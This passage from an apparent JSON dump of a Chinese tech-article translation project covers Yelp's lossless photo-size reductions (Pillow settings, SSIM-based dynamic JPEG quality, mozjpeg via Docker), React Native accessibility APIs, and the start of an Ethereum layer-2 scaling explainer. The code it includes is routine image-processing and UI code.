类属性来触发动画。\n\n你可以查看 codepen 上的例子，可能会略有启发哦~\n\n[![](https://s3-us-west-2.amazonaws.com/i.cdpn.io/914234.ZBQJEJ.7422cae8-a613-4170-925f-c19f5c7e2839.png)](https://codepen.io/heliodolores/embed/preview/ZBQJEJ?amp%3Bdefault-tabs=css%2Cresult&amp%3Bembed-version=2&amp%3Bhost=http%3A%2F%2Fcodepen.io&amp%3Bslug-hash=ZBQJEJ&height=600&referrer=https%3A%2F%2Fmedium.com%2Fmedia%2F4ddf88ce43d5a88b77917f85fb079fe7%3FpostId%3Dec22c1dcc8a8)\n点击查看源代码\n\n### 锦上添花 ###\n\n所有内容都搭建并运行之后，我们该准备啃些硬骨头了。视频中展示的纸牌像是从手机底部掉在桌子上一样，通过减小尺寸（缩放）的动画效果再加用些阴影，就能让效果更佳逼真。\n\n至于你在手机上设置的纸牌掉落的方向，大部分浏览器都实现了 [Detecting device orientation API](https://developer.mozilla.org/en-US/docs/Web/API/Detecting_device_orientation) 来读取手机的方向值。如果你在手机甩出纸牌事件中添加了方向信息和滑动速度，你应该就能实现这种效果。\n\n寻求帮助请查看 CodePen 上的内容：\n\n[![Markdown](http://i1.piimg.com/1949/bea41e853fc7d113.png)](http://codepen.io/heliodolores/pen/vyLJPL)\n\n现在我已经把这个技巧传授与你啦，我真心希望你能受到启发并创造自己的魔法。\n\n至于下一个魔术，我需要一个志愿者…… 你愿意吗，亲爱的读者？不要害羞。好，现在坐好，我将通过 WebSocket 把你的大脑下载下来！嘿，你去哪儿！？回来！？\n\n哦！你亟不可待地要去将我的魔术表演跑去告诉你朋友吗？非常感谢！试试这几种方式 [Facebook](http://bit.ly/share-magic-websockets-on-facebook)，[LinkedIn](http://bit.ly/share-magic-websockets-linkedin)，[Twitter](http://bit.ly/share-magic-websockets-on-twitter) 和 [Email]()！"
  },
  {
    "path": "TODO/making-photos-smaller.md",
    "content": "> * 原文地址：[Making Photos Smaller Without Quality Loss](https://engineeringblog.yelp.com/2017/06/making-photos-smaller.html)\n> * 原文作者：[Stephen Arthur](https://engineeringblog.yelp.com/2017/06/making-photos-smaller.html)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Xat_MassacrE](https://github.com/XatMassacrE)\n> * 校对者：[meifans](https://github.com/meifans)，[windmxf](https://github.com/windmxf)\n\n# 如何在无损的情况下让图片变的更小\n\nYelp（美国最大点评网站）已经有超过 1 亿张用户上传的照片了，其中不但有晚餐、理发等活动的照片还有我们的新特性照片 -- [#yelfies](https://www.yelpblog.com/2016/11/yelfie)（一种在拍摄时，加上自拍头像的一种新的拍照方式）。这些图片占用了用户 app 和网站的大多数带宽，同时也代表着储存和传输的巨大成本。为了给我们的用户最好的用户体验，我们竭尽所能的优化我们的图片，最终达到图片大小平均减少 30%。这不仅节省了我们用户的时间和带宽，还减少了我们的服务器成本。对了，关键的是我们的这个过程是完全无损的！\n\n# 背景\n\nYelp 保存用户上传的图片已经有 12 年了。我们将 PNG 和 GIF 保存为无损格式的 PNG，其他格式的保存为 JPEG。我们使用 Python 和 [Pillow](https://python-pillow.org/) 保存图片，让我们直接从上传图片开始吧：\n\n```\n# do a typical thumbnail, preserving aspect ratio\nnew_photo = photo.copy()\nnew_photo.thumbnail(\n    (width, height),\n    resample=PIL.Image.ANTIALIAS,\n)\nthumbfile = cStringIO.StringIO()\nsave_args = {'format': format}\nif format == 'JPEG':\n    save_args['quality'] = 85\nnew_photo.save(thumbfile, **save_args)\n```\n\n下面让我们来寻找一些可以在无损条件下优化文件大小的方法。\n\n# 优化\n\n首先，我们要决定是选择我们自己，还是一个 CDN 提供商 [magically change](https://www.fastly.com/io) 来处理我们的图片。随着我们对高质量内容的重视，评估各种方案并在图片大小和质量之间做出取舍就显得非常重要了。让我们来研究一下当前图片文件减小的一些方法，我们可以做哪些改变以及每种方法我们可以减少多少大小和质量。完成这项研究之后，我们决定了三个主要策略。本文剩下的部分解释了我们所做的工作，以及从每次优化中获得的好处。\n\n1. Pillow 中的改变\n- 优化 flag\n- 渐进式 JPEG\n2. 更改应用的照片逻辑\n- 大 PNG 检测\n- JPEG 动态质量\n3. 更换 JPEG 编码器\n- Mozjpeg (栅格量化，自定义量化矩阵)\n\n# Pillow 中的改变\n\n## 优化 Flag\n\n这是我们做出的最简单的改变之一：开启 Pillow 中负责以 CPU 耗时为代价节省额外的文件大小的设置 (`optimize=True`)。由于本质没变，所有这对于图片质量丝毫没有影响。\n\n对于 JPEG 来说，对个选项告诉编码器通过对每个图片进行一次额外的扫描以找到最佳的 [霍夫曼编码](https://en.wikipedia.org/wiki/Huffman_coding)。第一次，不写入文件，而是计算每个值出现的次数，以及可以计算出理想编码的必要信息。PNG 内部使用 zlib，所以在这种情况下优化选项告诉编码器使用 `gzip -9` 而不是 `gzip -6`。\n\n这是一个很简单的改变，但是事实证明它也不是银弹，因为文件大小只减少了百分之几。\n\n## 渐进式 JPEG\n\n当我们将一张图片保存为 JPEG 时，你可以从下面的选项中选择不同的类型：\n\n- 标准型： JPEG 图片自上而下载入。\n- 渐进式： JPEG 图片从模糊到清晰载入。渐进式的选项可以在 Pillow 中轻松的启用 (`progressive=True`)。这是一个能明显感觉到的性能提升(就是比起不是清晰的图片，只加载一半的图片更容易注意到。)\n\n还有就是渐进式文件的被打包时会有一个小幅的压缩。更详细的解释请看 [Wikipedia article](https://en.wikipedia.org/wiki/JPEG#Entropy_coding)，JPEG 格式在 8x8 像素块上使用锯齿模式进行熵编码。当这些像素块的值被解压并按顺序展开时，你会发现通常情况下非零的数字会优先出现，然后是零的序列，那个模式会对图片的每一个 8x8 的像素块进行隔行扫描。使用渐进编码时，被解压开的像素块的顺序会逐渐改变。每个块中较大的值将会在文件中首先出现，(渐进模式加载的图片中区分度最高的区域将最早被扫描)，而一段较长的小数字，包括许多数字零，将会在最末加载，用于填充细节。这种图片数据的重新排列不会改变图片本身，但是确实可能在某一行（这一行可以被更容易的压缩）中增加了 0 的数量。\n\n一个美味的甜甜圈的图片的对比(点击放大)：\n\n[![A mock of how a baseline JPEG renders.](https://engineeringblog.yelp.com/images/posts/2017-05-31-making-images-smaller/baseline-tiny.gif)](https://engineeringblog.yelp.com/images/posts/2017-05-31-making-images-smaller/baseline-large.gif)\n\n模拟标准 JPEG 图片的渲染效果。\n\n[![A mock of how a progressive JPEG renders.](https://engineeringblog.yelp.com/images/posts/2017-05-31-making-images-smaller/progressive-tiny.gif)](https://engineeringblog.yelp.com/images/posts/2017-05-31-making-images-smaller/progressive-large.gif)\n\n模拟渐进式 JPEG 图片的渲染效果。\n\n# 更改应用的照片逻辑\n\n## 大 PNG 检测\n\nYelp 为用户上传的图片主要提供两种格式 - JPEG 和 PNG。JPEG 对于照片来说是一个很棒的格式，但是对于高对比度的设计内容，类似 logo，就不那么优秀了。而 PNG 则是完全无损的，所以非常适用于图形类型的图片，但是对于差异不明显的图片又显得太大了。如果用户上传的 PNG 图片是照片的话（通过我们的识别），使用 JPEG 格式来存储就会节省很大的空间。通常情况下，Yelp 上的 PNG 图片都是移动设备和 \"美图类\" app 的截图。\n\n![(left) A typical composited PNG upload with logo and border. (right) A typical PNG upload from a screenshot.](https://engineeringblog.yelp.com/images/posts/2017-05-31-making-images-smaller/example-pngs.png)\n\n(左边) 一张明显的 PNG 合成图。(右边) 一张明显的 PNG 的截图。\n\n我们想减少这些不必要的 PNG 图片的数量，但重要的是要避免过度干预，改变格式或者降低图片质量。那么，我们如何来识别一张图片呢？通过像素吗？\n\n通过一组 2500 张图片的实验样本，我们发现文件大小和独立像素结合起来可以很好地帮助我们判断。我们在最大分辨率下生成我们的候选缩略图，然后看看输出的 PNG 文件是否大于 300KB。如果是，我们就检测图片内容是否有超过 2^16 个独立像素(Yelp 会将 RGBA 图片转化为 RGB，即使不转，我们也会做这个检测)。\n\n在实验数据集中，手动调整定义**大图片**的数值可以减少 88% 的文件大小(也就是说，如果我们将所有的图片都转换的话，我们预期可以节约的存储空间)，并且这些调整对图片是无损的。\n\n## JPEG 动态质量\n\n第一个也是最广为人知的减小 JPEG 文件大小的方法就是设置 `quality`。很多应用保存 JPEG 时都会设置一个特定的质量数值。\n\n质量其实是个很抽象的概念。实际上，一张 JPEG 图片的每个颜色通道都有不同的质量。质量等级从 0 到 100 在不同的颜色通道上都对应不同的[量化表](https://en.wikipedia.org/wiki/JPEG#JPEG_codec_example)，同时也决定了有多少信息会丢失。\n在信号域量化是 JPEG 编码中失去信息的第一个步骤。\n\n减少文件大小最简单的方法其实就是降低图片的质量，引入更多的噪点。但是在给定的质量等级下，不是每张图片都会丢失同样多的信息。\n\n我们可以动态地为每一张图片设置最优的质量等级，在质量和文件大小之间找到一个平衡点。我们有以下两种方法可以做到这点：\n\n- **Bottom-up：** 这些算法是在 8x8 像素块级别上处理图片来生成调优量化表的。它们会同时计算理论质量丢失量和和人眼视觉信息丢失量。\n- **Top-down：** 这些算法是将一整张图片和它原版进行对比，然后检测出丢失了多少信息。通过不断地用不同的质量参数生成候选图片，然后选择丢失量最小的那一张。\n\n我们评估了一个 bottom-up 算法，但是到目前为止，这个算法还没有在我们的实验环境下得到一个满意的结果(虽然这个算法看上去在中等质量图片地处理上还有不少发展潜力，因为处理中等质量图片可以丢弃更多的信息)。很多关于这个算法的 [学术](https://vision.arc.nasa.gov/publications/spie93abw/spie93abw.html.d/spie93.html)[论文](ftp://ftp.cs.wisc.edu/pub/techreports/1994/TR1257.pdf) 在 90 年代早期发表，但是在这个算力昂贵的时代，bottom-up 算法的实现走了捷径，比如没有评估像素块之间的相互影响。\n\n所以我们选择第二种方法：使用二分法在不同的质量等级下生成候选图片，然后使用 [pyssim](https://github.com/jterrace/pyssim/) 计算它的结构相似矩阵 ([SSIM](https://en.wikipedia.org/wiki/Structural_similarity)) 来评估每张候选图片损失的质量，直到这个值达到非静态可配置的阈值为止。这个方法让我们可以有选择地降低文件大小（和文件质量），但是只适用于那些即使降低质量用户也察觉不到的图片。\n\n在下面的图表中，我们画出了通过 3 个不同的质量等级生成的 2500 张图片的 SSIM 值的图像。\n\n1. 蓝色的线为 `quality = 85` 生成的原始图。\n2. 红色的线为`quality = 80` 生成的图。\n3. 最后，橘色的图是我们最后使用的动态质量，参数为 `SSIM 80-85`。为一张图片基于汇合点或者超过 SSIM 比率（一个提前计算好的静态值，使得转换发生在图像范围中间的某处）的地方在 80 到 85 (包括 85) 之间选择一个质量值。这种方法可以有效地减小图片大小，但是又不会突破我们图片质量要求的底线。\n\n![SSIMs of 2500 images with 3 different quality strategies.](https://engineeringblog.yelp.com/images/posts/2017-05-31-making-images-smaller/ssims-strategies.png)\n\n2500 张 3 种不同的质量策略的 SSIM 值。\n\n### SSIM\n\n这里有不少可以模拟人类视觉系统的图片质量算法。在评估了很多方法之后，我们认为 SSIM 这个方法虽然比较古老，但却是最适合对这几个特征做迭代优化的：\n\n1. 对[ JPEG 量化误差](http://users.eecs.northwestern.edu/~pappas/papers/brooks_tip08.pdf)敏感。\n2. 快速，简单的算法。\n3. 可以在 PIL 本地图片对象上计算，而不需要将图片转换成 PNG 格式，而且还可以通过命令行运行(查看 #2)。\n\n动态质量的实例代码：\n\n```\nimport cStringIO\nimport PIL.Image\nfrom ssim import compute_ssim\n\n\ndef get_ssim_at_quality(photo, quality):\n    \"\"\"Return the ssim for this JPEG image saved at the specified quality\"\"\"\n    ssim_photo = cStringIO.StringIO()\n    # optimize is omitted here as it doesn't affect\n    # quality but requires additional memory and cpu\n    photo.save(ssim_photo, format=\"JPEG\", quality=quality, progressive=True)\n    ssim_photo.seek(0)\n    ssim_score = compute_ssim(photo, PIL.Image.open(ssim_photo))\n    return ssim_score\n\n\ndef _ssim_iteration_count(lo, hi):\n    \"\"\"Return the depth of the binary search tree for this range\"\"\"\n    if lo >= hi:\n        return 0\n    else:\n        return int(log(hi - lo, 2)) + 1\n\n\ndef jpeg_dynamic_quality(original_photo):\n    \"\"\"Return an integer representing the quality that this JPEG image should be\n    saved at to attain the quality threshold specified for this photo class.\n\n    Args:\n        original_photo - a prepared PIL JPEG image (only JPEG is supported)\n    \"\"\"\n    ssim_goal = 0.95\n    hi = 85\n    lo = 80\n\n    # working on a smaller size image doesn't give worse results but is faster\n    # changing this value requires updating the calculated thresholds\n    photo = original_photo.resize((400, 400))\n\n    if not _should_use_dynamic_quality():\n        default_ssim = get_ssim_at_quality(photo, hi)\n        return hi, default_ssim\n\n    # 95 is the highest useful value for JPEG. Higher values cause different behavior\n    # Used to establish the image's intrinsic ssim without encoder artifacts\n    normalized_ssim = get_ssim_at_quality(photo, 95)\n    selected_quality = selected_ssim = None\n\n    # loop bisection. ssim function increases monotonically so this will converge\n    for i in xrange(_ssim_iteration_count(lo, hi)):\n        curr_quality = (lo + hi) // 2\n        curr_ssim = get_ssim_at_quality(photo, curr_quality)\n        ssim_ratio = curr_ssim / normalized_ssim\n\n        if ssim_ratio >= ssim_goal:\n            # continue to check whether a lower quality level also exceeds the goal\n            selected_quality = curr_quality\n            selected_ssim = curr_ssim\n            hi = curr_quality\n        else:\n            lo = curr_quality\n\n    if selected_quality:\n        return selected_quality, selected_ssim\n    else:\n        default_ssim = get_ssim_at_quality(photo, hi)\n        return hi, default_ssim\n```\n\n这里有关于这项技术的其他的一些博客，[这篇](https://medium.com/@duhroach/reducing-jpg-file-size-e5b27df3257c) 是 Colt Mcanlis 写的。Etsy 也发表过[一篇](https://codeascraft.com/2017/05/30/reducing-image-file-size-at-etsy/)！快去看看吧！\n\n# 更换 JPEG 编码器\n\n## Mozjpeg\n\n[Mozjpeg](https://github.com/mozilla/mozjpeg/) 是 [libjpeg-turbo](http://libjpeg-turbo.virtualgl.org/) 的一个开源分支，是通过执行时间来置换文件的大小的编码器。这种方法完美的契合离线批处理再生成图片。在比 libjpeg-turbo 多投入 3 到 5 倍的时间，和一点复杂的算法就可以使图片变的更小了！\n\nmozjpeg 这个编码器最大的不同点就是使用了一张额外的量化表。就像上面提到的，质量是每一个颜色通道量化表的一个抽象的概念。默认 JPEG 量化表的所有信号点都十分容易被命中。用 [JPEG 指导](https://www.w3.org/Graphics/JPEG/itu-t81.pdf) 中的话说就是：\n\n> 这些表仅供参考，不能保证在任何应用中都是适用的。\n\n所以说，大部分编码器的实现默认情况下使用这些表就不足为奇了。\n\nMozipeg已经替我们扫平了使用基准测试选择表的麻烦，并使用性能最好的通用替代方案创建图片。\n\n## Mozjpeg + Pillow\n\n大部分 Linux 发行版 都会默认安装 libjpeg。所以[默认情况下](https://github.com/python-pillow/Pillow/issues/539)在 Pillow 中是无法使用 mozjpeg 的，但是配置好它并不难。当你要用 mozjpeg 编译时，使用 `--with-jpeg8` 这个参数，并确认 Pillow 可以链接并找到它就可以了。如果你使用 Docker，你也可以像这样写一个 Dockerfile：\n\n```\nFROM ubuntu:xenial\n\nRUN apt-get update \\\n\t&& DEBIAN_FRONTEND=noninteractive apt-get -y --no-install-recommends install \\\n\t# build tools\n\tnasm \\\n\tbuild-essential \\\n\tautoconf \\\n\tautomake \\\n\tlibtool \\\n\tpkg-config \\\n\t# python tools\n\tpython \\\n\tpython-dev \\\n\tpython-pip \\\n\tpython-setuptools \\\n\t# cleanup\n\t&& apt-get clean \\\n\t&& rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/*\n\n# Download and compile mozjpeg\nADD https://github.com/mozilla/mozjpeg/archive/v3.2-pre.tar.gz /mozjpeg-src/v3.2-pre.tar.gz\nRUN tar -xzf /mozjpeg-src/v3.2-pre.tar.gz -C /mozjpeg-src/\nWORKDIR /mozjpeg-src/mozjpeg-3.2-pre\nRUN autoreconf -fiv \\\n\t&& ./configure --with-jpeg8 \\\n\t&& make install prefix=/usr libdir=/usr/lib64\nRUN echo \"/usr/lib64\\n\" > /etc/ld.so.conf.d/mozjpeg.conf\nRUN ldconfig\n\n# Build Pillow\nRUN pip install virtualenv \\\n\t&& virtualenv /virtualenv_run \\\n\t&& /virtualenv_run/bin/pip install --upgrade pip \\\n\t&& /virtualenv_run/bin/pip install --no-binary=:all: Pillow==4.0.0\n```\n\n就是这样！构建完成，你就可以在图片处理工作流中使用带有 mozipeg 的 Pillow 库了。\n\n# 影响\n\n那么这些方法到底带来了多少提升呢？让我们来研究研究，在 Yelp 的图片库中随机抽取 2500 张图片并使用我们的工作流来处理，看看文件大小都有什么变化：\n\n1. 更改 Pillow 的设置可以减小 4.5%\n2. 大 PNG 检测可以减小 6.2%\n3. 动态质量可以减小 4.5%\n4. 更换为 mozjpeg 编码器可以减小 13.8%\n\n这些全部加起来可以让图片大小平均减小大概 30%，并且我们应用在最大最常见分辨率的图片上，对于用户来说，不仅我们的网页变的更快，同时平均每天还可以节省兆兆字节的数据传输量。从 CDN 上就可见一斑：\n\n![Average filesize over time, as measured from the CDN (combined with non-image static content).](https://engineeringblog.yelp.com/images/posts/2017-05-31-making-images-smaller/Filesize-over-time.png)\n\nCDN 上的时间变化与平均文件大小的趋势图(包含非图片的静态内容)。\n\n# 我们没有做的\n\n这一部分是为了介绍一些其他你们可能会用到的改善的方法，Yelp 没有涉及到是因为我们选择的工具链以及一些其他的权衡。\n\n## 二次抽样\n\n[二次抽样](https://en.wikipedia.org/wiki/Chroma_subsampling) 是决定网页图片质量和文件大小的主要因素。关于二次抽样的详细说明可以在网上找到，但是对于这篇博客简而言之就是我们已经使用 `4:1:1` 二次抽样过了(一般情况下 Pillow 的默认设置)，所以这里我们并不能得到任何提升。\n\n## 有损 PNG 编码\n\n看到我们对 PNG 的处理之后，你可以选择将一部分图片使用类似 [pngmini](https://pngmini.com/lossypng.html) 的有损编码器保存为 PNG，但我们选择把图片另存为 JPEG 格式。这是另外一种不错的选择，在用户没有修改的情况下，文件大小就降低了 72-85%。\n\n## 动态格式\n\n我们在正在考虑支持更多的新图片类型，比如 WebP、JPEG2k。即使预定的项目上线了，用户对于优化过的 JPEG 和 PNG 图片请求的长尾效应也会继续发挥作用，使得这一优化仍然是值得的。\n\n## SVG\n\n在我们的网站上很多地方都使用了 SVG，比如我们的设计师按照[风格指导](http://yelp.design)设计的一些静态资源。这种格式和类似 [svgo](https://github.com/svg/svgo) 这样的优化工具会显著减少网页的负担，只是和我们这里要做的工作没什么关系。\n\n## 供应商的魔力\n\n市面上有很多的供应商可以提供图片的传输，改变大小，剪裁和转码服务。包括开源的 [thumbor](https://github.com/thumbor/thumbor)。或许对我们来说这是未来支持响应式图片，动态格式和保留边框最简单方法。但是从目前的情况来看我们的解决方案已经足够。\n\n# 延伸阅读\n\n下面的这两本书绝对有他们博客中没有提到的干货，同时也是今天这个主题强烈推荐的延伸阅读书籍。\n\n- [High Performance Images](https://content.akamai.com/pg6293-high-performance-images-ebook.html)\n- [Designing for Performance](http://designingforperformance.com/)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/making-react-native-apps-accessible.md",
    "content": "> * 原文链接 : [Making React Native apps accessible | Engineering Blog | Facebook Code | Facebook](https://code.facebook.com/posts/435862739941212/making-react-native-apps-accessible/)\n* 原文作者 : [Chace Liang](https://www.facebook.com/chaceliang)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [void-main](https://github.com/void-main)\n* 校对者: [aleen42](https://github.com/aleen42)\n* 状态 :  翻译完成\n\n\n最近，随着面向 Web 的 React 框架和面向移动端的 React Native 框架相继发布，我们为开发者提供了一个可用于构建应用的全新前端框架。构建成熟产品的一个关键因素就是确保每个人都能使用它，乃至于那些有视觉缺陷或其它残障的用户。为 React 和 React Native 设计的无障碍(Accessibility)API使你基于React开发的应用可以被那些需要辅助工具，比如为盲人或视觉受损的用户设计的读屏器，的用户使用。\n\n\n本文中我们将重点关注 React Native 应用。在设计 React 无障碍 API 的时候，我们力求与 iOS 和 Android 相关 API 相似。如果你曾经在 Web、IOS 或 Android 平台上开发过无障碍应用，那么你应该会习惯 React AX API 所提供的框架与术语。举例来说，你可以把一个 UI 元素标记为 _accessible_ (由此会暴露给辅助工具)，并使用 _accessibilityLabel_ 为这个元素提供一个文字描述。\n\n```\n<View accessible={true} accessibilityLabel=”This is simple view”>\n```\n\n让我们通过研究 Facebook 自己的一个基于 React 的产品来深入了解 React AX API：**广告管理APP(Ads Manager app)**。\n\n\n[广告管理app](https://www.facebook.com/business/news/ads-manager-app) 使 Facebook 的广告商们可以随时管理他们的账户并创建新的广告。这是 Facebook 第一款跨平台的应用，而且它是用 React Native 构建的。\n\n\n广告可能很复杂，因为广告中会有很多基于上下文的信息。当我们为无障碍设计交互时，我们决定把所有这些相关联的信息组合在一起。例如，一个活动列表项会在一个条目中展示活动领导者的名称，活动的结果以及活动的状态（示例：\"活动 Hacker and Looper, 页面发帖参与，29967人参与，目前处于有效状态\"）。\n\n\n![](https://scontent-hkg3-1.xx.fbcdn.net/hphotos-xpt1/t39.2365-6/12057083_429032550627060_1728546419_n.jpg)\n\n\n使用 React Native 的无障碍 API 我们可以轻松实现这个效果。我们只需要在父组件上设置 `accessible={true}`，然后无障碍API就会收集所有子组件的无障碍标签。\n\n\n    <View\n      accessible={true}\n      style={{\n        flex: 1,\n        backgroundColor: 'white',\n        padding: 10,\n        paddingTop: 30,\n      }}>\n      <Text>Hacker and Looper, Page Post Engagement</Text>\n      <Text>29,967 Post Engagements</Text>\n      <AdsManagerStatus\n        accessibilityLabel={'Status ' + this.props.status}\n        status={this.props.status}\n      />\n    </View>\n\n\n嵌套的 UI 元素，例如列表行里的开关，也需要特定的无障碍支持。当用户使用读屏器选择了列表中的某一行，我们需要读出这一行中的所有信息，并且告知用户这一行中有可以操作的元素。无障碍 API 提供了从系统中获取无障碍环境以及监听系统设置变化的能力。因此，我们只需简单地改变父元素的行为，就可以通过像 VoiceOver 或者 TalkBack 这样的读屏器来通知用户(示例：\"双击这一行来改切换里的开关状态\")。在广告管理应用中，我们是用这种开关来切换通知设置项的。当这一行被选中的时候，它就会说：\"允许广告。开启。双击来切换设置\"。\n\n![](https://scontent-hkg3-1.xx.fbcdn.net/hphotos-xtp1/t39.2365-6/12057155_921685684567792_354128754_n.jpg)\n\n\n\n通过 React Native 的无障碍 API，使得我们可以查询某系统的无障碍状态：\n\n\n    AccessibilityInfo.fetch().done((enabled) => {\n      this.setState({\n        AccessibilityEnabled: enabled,\n      });\n    });\n\n\n\n我们也可以监听无障碍状态变化：\n\n\n    componentDidMount: function() {\n      AccessibilityInfo.addEventListener(\n        'change',\n        this._handleAccessibilityChange\n      );\n      ...   \n    },\n    \n    _handleAccessibilityChange: function(isEnabled: boolean) {\n      this.setState({\n        AccessibilityEnabled: isEnabled,\n      });\n    },\n\n\n\n通过这些 API，我们的产品团队可以根据系统当前的无障碍设置信息来控制触摸事件。例如，在上面的截图中，有许多控制推送通知的开关。如果用户正在使用读屏器，我们就会朗读这一行中的所有信息，包括开关和状态，例如，\"允许广告，开启状态\"——然后用户就可以通过双击选中区域，比如双击这一行，来切换状态。\n\n\n    var onSwitchValueChange = this.props.onValueChange;\n    var onRowPress = null;\n    if (this.state.isAccessibilityEnabled) {\n      onSwitchValueChange = null;\n      onRowPress = this.props.onValueChange;\n    }\n    \n    var switch = <Switch onValueChange={onSwitchValueChange} ... />\n    return\n      <InfoRow\n        action={switch}\n        onPress={onRowPress}\n        ...\n      />\n\n\nReact Native 为你在 iOS 和 Android 平台开发应用提供了一种强大的方式，而且，它还能使你能有效地复用代码。通过 React Native 无障碍 API，你可以确保你的产品同样能使得有残疾或需要使用辅助工具的用户得到精致的体验。\n\n更多关于 React Native AX API 的信息，请参考我们的[开发文档](https://www.facebook.com/l.php?u=https%3A%2F%2Ffacebook.github.io%2Freact-native%2Fdocs%2Faccessibility.html&h=NAQEjh5Hy&s=1)。\n"
  },
  {
    "path": "TODO/making-sense-of-ethereums-layer-2-scaling-solutions-state-channels-plasma-and-truebit.md",
    "content": "> * 原文地址：[Making Sense of Ethereum’s Layer 2 Scaling Solutions: State Channels, Plasma, and Truebit](https://medium.com/l4-media/making-sense-of-ethereums-layer-2-scaling-solutions-state-channels-plasma-and-truebit-22cb40dcc2f4)\n> * 原文作者：[Josh Stark](https://medium.com/@jjmstark?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/making-sense-of-ethereums-layer-2-scaling-solutions-state-channels-plasma-and-truebit.md](https://github.com/xitu/gold-miner/blob/master/TODO/making-sense-of-ethereums-layer-2-scaling-solutions-state-channels-plasma-and-truebit.md)\n> * 译者：[JohnJiangLA](https://github.com/JohnJiangLA)\n> * 校对者：[foxxnuaa](https://github.com/foxxnuaa) [Zheaoli](https://github.com/zheaoli)\n\n# 带你了解以太坊第2层扩容方案：状态通道（State Channels）、Plasma 和 Truebit\n\n![](https://user-gold-cdn.xitu.io/2018/3/9/16208aa54b6f99b5?w=800&h=588&f=jpeg&s=162592)\n\n宾夕法尼亚州 Tunkhannock 地区铁路高架桥（[cc](https://www.flickr.com/photos/library_of_congress/5715531287)）。古罗马的建筑理念在新时代的使用。\n\n对于以太坊来说 [2018 年是着力基础建设的一年](https://twitter.com/L4ventures/status/953041925241757697)。今年是初期用户来测试网络极限的一年，并将重新关注一些扩展以太坊的技术。\n\n**以太坊至今仍处于成长初期**。 现今，它还[不是安全的或者可扩展的](https://twitter.com/VladZamfir/status/838006311598030848)。技术人员能够很清楚的认识到这一点。但是在去年，大量 ICO 所导致的炒作已经开始夸大目前的网络能力。构建一个安全，易于使用的去中心化互联网，受约于一套通用经济规范并被无数人使用，以太坊和 web3 提出的这一美好承诺就在眼前，但[只有在建立关键基础设施的前提下才能够实现](https://twitter.com/granthummer/status/957353619736559616)。\n\n致力于构建这种基础架构和扩展以太坊性能的项目通常被称为 **扩展方案（scaling solutions）** 。这些项目有着不同的形式，并且通常相互兼容或互补。\n\n在这篇长帖中，我想要深入讲解**一**种扩展方案：**“off-chain” 或 “第二层（layer 2）” 方案。**\n\n*   **首先**，我们会全面的讨论下以太坊（以及所有公有的区块链）的扩展难题。\n*   **其次**，我们将介绍解决扩展难题的不同方法，区分 “layer 1” 和 “layer 2” 解决方案。\n*   **最后**，我们会深入了解第二层（layer 2）解决方案并详细解释它是怎样运作的，我们会谈及 [**状态通道（state channels）**](https://medium.com/l4-media/generalized-state-channels-on-ethereum-de0357f5fb44)**，**[**Plasma**](http://plasma.io/) **和**  [**Truebit**](http://truebit.io)。\n\n**本文的重点在于给读者全面而详细的讲解第二层（layer 2）解决方案的概念与工作原理**。但我们不会深入研究代码或特定实现。相反，我们专注理解用于构建这些系统的经济机制以及所有第二层技术之间共同的思维模式。\n\n* * *\n\n### 1. 公有区块链的扩展难题\n\n首先，你要知道“扩展”不是一个单一的、特定的问题，**它涉及了一系列难题，必须解决这些难题才能使以太坊对全球无数用户可用。**\n\n最常讨论的扩展难题是交易通量。目前，以太坊每秒可以处理大约 15 笔交易，而 Visa 的处理能力则大约在 45,000/tps。在去年，一些应用程序（比如 [Cryptokitties](http://cryptokitties.co) 或偶尔的 ICO）已经足够流行以至于“放缓了”网络速度并提升了[挖矿费用（gas）](https://myetherwallet.github.io/knowledge-base/gas/what-is-gas-ethereum.html) 的价格。\n\n**公有区块链（比如以太坊）最核心的缺陷是要求每一笔交易要被网络中的每一个节点处理。**一笔支付，Cryptokitty 的诞生，部署新的 ERC20 合约，每一个以太坊区块链上发生的操作都必须由网络中的每个节点并行执行。这是设计理念所决定的，也正是由于这种设计理念才使得公有区块链具有权威性。节点不需要依赖**其他**节点来告诉他们当前区块链的当前状态，它们会自己计算出来。\n\n**这给以太坊的交易通量带来了根本性的限制**：它不能超过我们对于单个节点的设计要求。。\n\n我们**可以**要求每个节点做更多的工作，如果我们将块大小加倍(例如，区块 gas 限制)，这意味着每个节点处理每个区块的工作量大致是之前的两倍。但是这样就减弱了系统的分散化理念：节点要做更多的工作意味着性能较差的计算机（比如用户设备）可能会从网络中退出，并且挖矿也会更向性能强大的节点运营者集中。\n\n相反，我们需要一种方式使区块链**做更多有用的事**，但并不是增加单个节点的工作量。\n\n从概念上来说，[有两种可能解决这个问题的方法](https://blog.ethereum.org/2018/01/02/ethereum-scalability-research-development-subsidy-programs/)：\n\n#### **一. 如果每个节点不必并行处理每个操作，会怎样？**\n\n第一种方法是抛弃我们的前提，如果我们可以构建一个每个节点不必处理每个操作的区块链，会怎样？如果网络分为两个部分代替原有网络，每一个部分都可以独立运行，会怎样？\n\nA 部分可以处理一批交易，而同时 B 部分可以处理另一批。这实际上会使区块链的交易通量翻倍。因为我们的限制现在能够被**两**个节点同时处理。如果我们可以将区块链分为许多不同的部分，那么我们可以将区块链的通量提高很多倍。\n\n这是**分片**（**sharding**）的思维模式，也是 Vitalik 的[以太坊研究小组（Ethereum Research group）](http://ethereumresearch.org/) 和其他社群正在研究的一种扩展方案。一个区块链被分割成叫做 **shards** 的不同部分，每一个部分都可以独立处理交易。因为分片是在以太坊的基础级协议中实现的，所以通常被也称为**第一层**（**layer 1**）扩展解决方案，如果你想了解更多有关分片的内容，请查看 [extensive FAQ](https://github.com/ethereum/wiki/wiki/Sharding-FAQ) 